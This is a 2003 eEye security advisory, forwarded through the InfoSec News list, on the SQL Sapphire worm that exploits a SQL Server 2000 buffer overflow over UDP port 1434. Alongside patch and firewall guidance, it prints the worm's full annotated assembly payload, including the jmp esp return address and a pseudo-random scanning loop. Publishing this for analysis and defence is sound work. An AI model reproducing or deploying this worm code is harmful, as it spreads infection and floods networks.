Information Security News: SQL Sapphire Worm Analysis

[InfoSec News <isn () c4i org>]

Forwarded from: "Marc Maiffret" <marc () eeye com>

SQL Sapphire Worm Analysis

Release Date:
1/25/03

Severity:
High

Systems Affected:
Microsoft SQL Server 2000 pre SP 2

Description:
Late Friday, January 24, 2003 we became aware of a new SQL worm
spreading quickly across various networks around the world.

The worm is spreading using a buffer overflow to exploit a flaw in
Microsoft SQL Server 2000. The SQL 2000 server flaw was discovered in
July, 2002 by Next Generation Security Software Ltd. The buffer
overflow exists because of the way SQL improperly handles data sent to
its Microsoft SQL Monitor port. Attackers leveraging this
vulnerability will be executing their code as SYSTEM, since Microsoft
SQL Server 2000 runs with SYSTEM privileges.

The worm works by generating pseudo-random IP addresses to try to
infect with its payload. The worm payload does not contain any
additional malicious content (in the form of backdoors etc.); however,
because of the nature of the worm and the speed at which it attempts
to re-infect systems, it can potentially create a denial-of-service
attack against infected networks.

We have been able to verify that multiple points of connectivity on
the Internet have been bogged down since 9pm Pacific Standard Time.

It should be noted that this worm is not the same as an earlier SQL
worm that used the SA/nopassword SQL vulnerability as its spread
vector. This is a new worm is more devastating as it is taking
advantage of a software-specific flaw rather than a configuration
error. We have already had many reports of smaller networks brought
down due to the flood of data from the Sapphire Worm trying to
re-infect new systems.

Corrective Action 

We recommend that people immediately firewall SQL service ports at all
of their gateways. The worm uses only UDP port 1434 (SQL Monitor Port)
to spread itself to a new system; however, it is safe practice to
filter all SQL traffic at all gateways.  The following is a list of
SQL server ports: ms-sql-s 1433/tcp #Microsoft-SQL-Server ms-sql-s
1433/udp #Microsoft-SQL-Server ms-sql-m 1434/tcp
#Microsoft-SQL-Monitor ms-sql-m 1434/udp #Microsoft-SQL-Monitor

Once again this worm is taking advantage of a known vulnerability that
has had a patch available for many months. Microsoft has also released
a recent service pack for SQL (Service Pack 3) that includes a fix for
this vulnerability.

Standalone patch:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS02-039.asp

SQL 2000 Service Pack 3:
http://www.microsoft.com/sql/downloads/2000/sp3.asp

Previous SQL Service Pack versions are vulnerable.

Technical Description

The following is a quick run-down of what the worm's payload is doing after
infection:

1. Retrieves the address of GetProcAddress and Loadlibrary from the
IAT in sqlsort.dll. It snags the necessary library base addresses and
function entry points as needed.
2. Calls gettickcount, and uses returned count as a pseudo-random seed
3. Creates a UDP socket
4. Performs a simple pseudo random number generation formula using the
returned gettickcount value to generate an IP Address that will later
be used as the target.
5. Send worm payload in a SQL Server Resolution Service request to the
pseudo random target address, on port 1434 (UDP).
6. Return back to formula and continue generating new pseudo random
addresses.


                push    42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp
                mov     eax, 1010101h   ; Reconstruct session, after the
overflow the payload buffer
                                        ; get's corrupted during program
execution but before the
                                        ; payload is executed. .
                xor     ecx, ecx
                mov     cl, 18h

FIXUP:
                push    eax
                loop    FIXUP
                xor     eax, 5010101h
                push    eax
                mov     ebp, esp
                push    ecx
                push    6C6C642Eh
                push    32336C65h
                push    6E72656Bh       ; kernel32
                push    ecx
                push    746E756Fh       ; GetTickCount
                push    436B6369h
                push    54746547h
                mov     cx, 6C6Ch
                push    ecx
                push    642E3233h       ; ws2_32.dll
                push    5F327377h
                mov     cx, 7465h
                push    ecx
                push    6B636F73h       ; socket
                mov     cx, 6F74h
                push    ecx
                push    646E6573h       ; sendto
                mov     esi, 42AE1018h  ; IAT from sqlsort
                lea     eax, [ebp-2Ch]  ; (ws2_32.dll)
                push    eax
                call    dword ptr [esi] ; call loadlibrary
                push    eax
                lea     eax, [ebp-20h]
                push    eax
                lea     eax, [ebp-10h]  ; (kernel32.dll)
                push    eax
                call    dword ptr [esi] ; loadlibrary
                push    eax
                mov     esi, 42AE1010h  ; IAT from sqlsort
                mov     ebx, [esi]
                mov     eax, [ebx]
                cmp     eax, 51EC8B55h  ; check entry point fingerprint
                jz      short VALID_GP  ; Check entry point fingerprint for
getprocaddress, if it failes
                                        ; fall back to GetProcAddress entry
in another DLL version.
                                        ; Undetermined what dll versions
this will succedd on. Due
                                        ; to the lack of reliable importing
this may not work across all
                                        ; dll versions.
                mov     esi, 42AE101Ch  ; IAT entry -> 77EA094C

VALID_GP:
                call    dword ptr [esi] ; GetProcAddress
                call    eax             ; return from GetProcaddress =
GetTickCount entrypoint
                xor     ecx, ecx
                push    ecx
                push    ecx
                push    eax
                xor     ecx, 9B040103h
                xor     ecx, 1010101h
                push    ecx             ; 9A050002 = port 1434 / AF_INET
                lea     eax, [ebp-34h]  ; (socket)
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                push    11h
                push    2
                push    2
                call    eax             ; socket
                push    eax
                lea     eax, [ebp-3Ch]  ; sendto
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                mov     esi, eax        ; save sendto -> esi
                or      ebx, ebx
                xor     ebx, 0FFD9613Ch

PRND:
                mov     eax, [ebp-4Ch]  ; Pseudo Random Algorithm Start
                lea     ecx, [eax+eax*2]
                lea     edx, [eax+ecx*4]
                shl     edx, 4
                add     edx, eax
                shl     edx, 8
                sub     edx, eax
                lea     eax, [eax+edx*4]
                add     eax, ebx        ; Pseudo Random Algorithm End
                mov     [ebp-4Ch], eax
                push    10h
                lea     eax, [ebp-50h]
                push    eax
                xor     ecx, ecx
                push    ecx
                xor     cx, 178h
                push    ecx
                lea     eax, [ebp+3]
                push    eax
                mov     eax, [ebp-54h]
                push    eax
                call    esi             ; sendto
                jmp     short PRND    ; Jump back to Pseudo Random Algorithm
Start

In Closing
We have provided brief information here as we are currently working to
understand more of the worm's internal behavior. We will provide
updates as they become available.

This worm has been dubbed the "Sapphire Worm" by eEye due to the fact
that several engineers had to be pulled away from local bars to begin
the investigation/dissection process.

Credit:
Riley Hassell

Related Links:
SQLSecurity.com
http://sqlsecurity.com/

Microsoft Security Bulletin:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/ms02-039.asp

Copyright (c) 1998-2003 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
alert () eEye com for permission.

Disclaimer
The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.

Feedback
Please send suggestions, updates, and comments to:

eEye Digital Security
http://www.eEye.com
info () eEye com




-
ISN is currently hosted by Attrition.org

To unsubscribe email majordomo () attrition org with 'unsubscribe isn'
in the BODY of the mail.